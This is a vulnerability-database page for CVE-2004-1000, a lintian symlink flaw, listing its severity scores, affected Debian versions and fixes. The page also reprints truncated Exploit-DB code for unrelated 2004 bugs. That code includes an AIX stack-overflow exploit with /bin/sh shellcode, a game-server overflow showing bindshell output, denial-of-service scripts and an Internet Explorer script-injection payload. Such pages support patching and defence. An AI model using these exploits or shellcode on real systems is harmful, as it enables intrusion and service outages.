CVE-2004-1000
published 2004-01-10CVE-2004-1000: lintian 1.23 and earlier removes the working directory even if it was not created by lintian, which may allow local users to delete arbitrary files or…
PriorityP410low2.1CVSS 2.0
AVLACLAuNCNINAP
EPSS
0.35%
27.7th percentile
lintian 1.23 and earlier removes the working directory even if it was not created by lintian, which may allow local users to delete arbitrary files or directories via a symlink attack.
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| debian | lintian | < lintian 1.23.6 (bookworm) | lintian 1.23.6 (bookworm) |
| debian | lintian | — | — |
| debian | lintian | >= 0 < 1.23.6 | 1.23.6 |
| debian | lintian | >= 0 < 1.23.6 | 1.23.6 |
| debian | lintian | >= 0 < 1.23.6 | 1.23.6 |
| debian | lintian | >= 0 < 1.23.6 | 1.23.6 |
CVSS provenance
nvdv2.02.1LOWAV:L/AC:L/Au:N/C:N/I:N/A:P
osv2.1LOW
vendor_debian2.1LOW
Stop checking back — get the weekly exploitation signal.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
GHSA
GHSA-j94j-9h78-829f: lintian 1
ghsa_unreviewed·2022-04-29
CVE-2004-1000 [LOW] GHSA-j94j-9h78-829f: lintian 1
lintian 1.23 and earlier removes the working directory even if it was not created by lintian, which may allow local users to delete arbitrary files or directories via a symlink attack.
OSV
CVE-2004-1000: lintian 1
osv·2004-01-10·CVSS 2.1
CVE-2004-1000 [LOW] CVE-2004-1000: lintian 1
lintian 1.23 and earlier removes the working directory even if it was not created by lintian, which may allow local users to delete arbitrary files or directories via a symlink attack.
Debian
CVE-2004-1000: lintian - lintian 1.23 and earlier removes the working directory even if it was not create...
vendor_debian·2004·CVSS 2.1
CVE-2004-1000 [LOW] CVE-2004-1000: lintian - lintian 1.23 and earlier removes the working directory even if it was not create...
lintian 1.23 and earlier removes the working directory even if it was not created by lintian, which may allow local users to delete arbitrary files or directories via a symlink attack.
Scope: local
bookworm: resolved (fixed in 1.23.6)
bullseye: resolved (fixed in 1.23.6)
forky: resolved (fixed in 1.23.6)
sid: resolved (fixed in 1.23.6)
trixie: resolved (fixed in 1.23.6)
No detection rules found.
Exploit-DB
Medal of Honor Spearhead (Linux) - Server Remote Buffer Overflow
exploitdb·2005-02-18
CVE-2004-0735 Medal of Honor Spearhead (Linux) - Server Remote Buffer Overflow
Medal of Honor Spearhead (Linux) - Server Remote Buffer Overflow
---
/* -------------------------------------------------------------------------------------------------
Remote buffer overflow exploit for Medal of Honor Spearhead Dedicated Server (Linux)
earthangel:/home/millhouse# ./mohexp -h 127.0.0.1 -p 12203 -t 1
Medal of Honor Spearhead Dedicated server for Linux
Remote buffer overflow exploit millhouse@IRCnet
[-] Found Spearhead 2.15 (Linux)
[-] Target: 0xbfff30f0 Debian 3.0
[-] Sending buffer...
[-] Trying to reach bindshell...
Linux earthangel 2.4.28 #1 SMP Sat Dec 25 23:50:47 CET 2004 i686 unknown
uid=1001(spearhead) gid=1000(users) groups=1000(users)
Affected versions:
This exploit was tested with Spearhead 2.15. Its the latest version and this
is the most used one. Versio
Exploit-DB
AIX 5.1 < 5.3 - paginit Local Stack Overflow
exploitdb·2004-12-20
CVE-2004-1330 AIX 5.1 < 5.3 - paginit Local Stack Overflow
AIX 5.1
*/
#define RETADDR 0x2ff22c90
char shellcode[] =
"\x7c\xa5\x2a\x79"
"\x40\x82\xff\xfd"
"\x7c\xa8\x02\xa6"
"\x38\xe0\x11\x11"
"\x39\x20\x48\x11"
"\x7c\xc7\x48\x10"
"\x38\x46\xc9\x05"
"\x39\x25\x11\x11"
"\x38\x69\xef\x17"
"\x38\x87\xee\xef"
"\x7c\xc9\x03\xa6"
"\x4e\x80\x04\x20"
"\x2f\x62\x69\x6e"
"\x2f\x73\x68\x00"
;
char envlabel[] = "X=";
void printint(char* buf, int x) {
buf[0] = x >> 24;
buf[1] = (x >> 16) & 0xff;
buf[2] = (x >> 8) & 0xff;
buf[3] = x & 0xff;
}
int main(int argc, char **argv) {
char *env[3];
char code[1000];
char buf[8000];
char *p, *i;
int offset1 = 0;
offset1 = 0; // atoi(argv[1]);
memset(code, 'C', sizeof(code));
memcpy(code, envlabel,sizeof(envlabel)-1);
// landingzone
for(i=code+sizeof(envlabel)+offset1; i<code+sizeof(code); i+=4)
printint(i, 0x7ca52a7
Exploit-DB
OpenText FirstClass 8.0 - HTTP Daemon /Search Remote Denial of Service
exploitdb·2004-12-15
CVE-2004-2496 OpenText FirstClass 8.0 - HTTP Daemon /Search Remote Denial of Service
OpenText FirstClass 8.0 - HTTP Daemon /Search Remote Denial of Service
---
/*
http://secunia.com/advisories/13415
written by dila
released on 11.12.04
compile with ms vc++
remember to link with winsock
*/
#define WIN32_LEAN_AND_MEAN
#include "windows.h"
#define IDD_MAIN 101
#define IDI_MAIN 103
#define IDC_SERV 1000
#define IDC_SOCKS 1002
#define IDHALT 1004
// Next default values for new objects
//
#ifdef APSTUDIO_INVOKED
#ifndef APSTUDIO_READONLY_SYMBOLS
#define _APS_NEXT_RESOURCE_VALUE 104
#define _APS_NEXT_COMMAND_VALUE 40001
#define _APS_NEXT_CONTROL_VALUE 1005
#define _APS_NEXT_SYMED_VALUE 101
#endif
#endif // Combined resource.h - milw0rm.com
#include
#include
#include
#define WM_WSAASYNC (WM_USER +5)
BOOL CALLBACK DlgProc(HWND hDlg, UINT uMsg, WPARAM wParam, LPARAM lParam);
i
Exploit-DB
Ground Control 1.0.0.7 - 'Server/Client' Denial of Service
exploitdb·2004-08-31
CVE-2004-1751 Ground Control 1.0.0.7 - 'Server/Client' Denial of Service
Ground Control 1.0.0.7 - 'Server/Client' Denial of Service
---
/*
by Luigi Auriemma
*/
#include
#include
#include
#include
#ifdef WIN32
#include
#include "winerr.h"
#define close closesocket
#define ONESEC 1000
#else
#include
#include
#include
#include
#include
#define ONESEC 1
#endif
#define VER "0.1"
#define PORT 42001
#define BUFFSZ 2048
#define BOOMSZ 1024 // 513 is enough
#define TIMEOUT 3
#define INFO "\x58\x00\x00\x00" /* build */ \
"\x52\x00" /* protocol */ \
"\x0a\x00\x00" /* gameinfo */
/* this packet is not important, you can also use random data */
void show_gc2info(u_char *data, int len);
void unicode2char(u_char *data, int len);
int timeout(int sock);
u_long resolv(char *host);
void std_err(void);
int main(int argc, char *argv[]) {
struct sockaddr_in peer;
int sd,
le
Exploit-DB
BadBlue 2.52 Web Server - Multiple Connections Denial of Service Vulnerabilities
exploitdb·2004-08-26
CVE-2004-1727 BadBlue 2.52 Web Server - Multiple Connections Denial of Service Vulnerabilities
BadBlue 2.52 Web Server - Multiple Connections Denial of Service Vulnerabilities
---
#!/usr/bin/perl
##############################################################
# BadBlue v2.52 Web Server - Multiple Connections DoS POC Code
##############################################################
# BadBlue Web Server can not handle many simultaneous connects
# from the same host, and will lock up until the connects stop
##############################################################
# This Proof Of Concept Written By GulfTech Security Research
##############################################################
use Strict;
use Socket;
use IO::Socket;
my $host = $ARGV[0];
my $port = $ARGV[1];
my $stop = $ARGV[2];
my $size = 1000;
my $prot = getprotobyname('tcp');
my $slep = $ARGV[3];
printf("========
Exploit-DB
Internet Security Systems BlackICE PC Protection 3.6 - Firewall.INI Local Buffer Overrun
exploitdb·2004-08-11
CVE-2004-1714 Internet Security Systems BlackICE PC Protection 3.6 - Firewall.INI Local Buffer Overrun
Internet Security Systems BlackICE PC Protection 3.6 - Firewall.INI Local Buffer Overrun
---
source: https://www.securityfocus.com/bid/10915/info
It is reported that BlackICE PC Protection is prone to a local buffer overrun when handling excessive input in certain configuration directives parsed from the firewall.ini file included with the software.
It is reported that when the system is restarted, and the affected software reads the malicious firewall.ini file both the blackice.exe and blackd.exe executables will crash.
REJECT, 138, default, 1999-07-22 20:26:53, AAAAAAAAAAAAAAAAA.... , 2000,
unknown
(Aprox 1000 A's)
Exploit-DB
Microsoft Internet Explorer - Remote Wscript.Shell
exploitdb·2004-07-13
CVE-2004-0549 Microsoft Internet Explorer - Remote Wscript.Shell
Microsoft Internet Explorer - Remote Wscript.Shell
---
----------------------------------------------------- default.htm -------------------------------------------------------
function InjectedDuringRedirection(){
showModalDialog('md.htm',window,"dialogTop:-1000\;dialogLeft:-1000\;dialogHeight:1\;dialogWidth:1\;").
location="vbscript:\"\"";
}
setTimeout("myiframe.execScript(InjectedDuringRedirection.toString())",100);
setTimeout("myiframe.execScript('InjectedDuringRedirection()') ",101);
document.write('');
--------------------------------------------------------- md.htm ---------------------------------------------------------
window.returnValue = window.dialogArguments;
function CheckStatus(){
try{tempVar=window.dialogArguments.location.href;}catch(e){window.close();}
setTime
No writeups or analysis indexed.
2004-01-10
Published